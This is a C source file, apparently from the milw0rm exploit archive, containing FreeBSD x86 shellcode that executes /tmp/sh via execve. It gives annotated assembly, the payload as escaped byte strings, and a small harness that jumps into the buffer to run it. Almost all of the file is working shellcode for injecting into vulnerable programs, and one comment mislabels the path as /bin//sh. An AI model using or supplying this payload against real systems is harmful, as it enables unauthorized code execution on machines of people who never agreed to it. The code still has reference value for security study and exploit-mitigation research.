/*
* FreeBSD shellcode - execve /tmp/sh
*
* Claes M. Nyberg 20020120
*
* <cmn@darklab.org>, <md0claes@mdstud.chalmers.se>
*/
/**********************************************************
void
main()
{
__asm__("
xorl %eax, %eax # eax = 0
pushl %eax # string ends with NULL
pushl $0x68732f2f # push 'hs//' (//sh)
pushl $0x706d742f # push 'pmt/' (/tmp)
movl %esp, %ebx # ebx = argv[0] = string addr
pushl %eax # argv[1] = NULL
pushl %ebx # argv[0] = /bin//sh
movl %esp, %edx # edx = &argv[0]
pushl %eax # envp = NULL
pushl %edx # &argv[0]
pushl %ebx # *path = argv[0]
pushl %eax # Dummy
movb $0x3b, %al # al = 59 = execve
int $0x80 # execve(argv[0], argv, NULL)
xorl %eax, %eax # eax = 0
inc %eax # eax++
pushl %eax # Exit value = 1
pushl %eax # Dummy
int $0x80 # exit(1); (eax is 1 = execve)
");
}
************************************************************/
#include <stdio.h>
#include <string.h>
static char freebsd_code[] =
"\x31\xc0" /* xorl %eax, %eax */
"\x50" /* pushl %eax */
"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
"\x68\x2f\x74\x6d\x70" /* pushl $0x706d742f */
"\x89\xe3" /* movl %esp, %ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe2" /* movl %esp, %edx */
"\x50" /* pushl %eax */
"\x52" /* pushl %edx */
"\x53" /* pushl %ebx */
"\x50" /* pushl %eax */
"\xb0\x3b" /* movb $0x3b, %al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax, %eax */
"\x40" /* inc %eax */
"\x50" /* pushl %eax */
"\x50" /* pushl %eax */
"\xcd\x80"; /* int $0x80 */
static char _freebsd_code[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x74\x6d\x70\x89\xe3\x50"
"\x53\x89\xe2\x50\x52\x53\x50\xb0"
"\x3b\xcd\x80\x31\xc0\x40\x50\x50"
"\xcd\x80";
void
main(void)
{
void (*code)() = (void *)freebsd_code;
printf("strlen code: %d\n", strlen(freebsd_code));
code();
}
// milw0rm.com [2004-09-26]
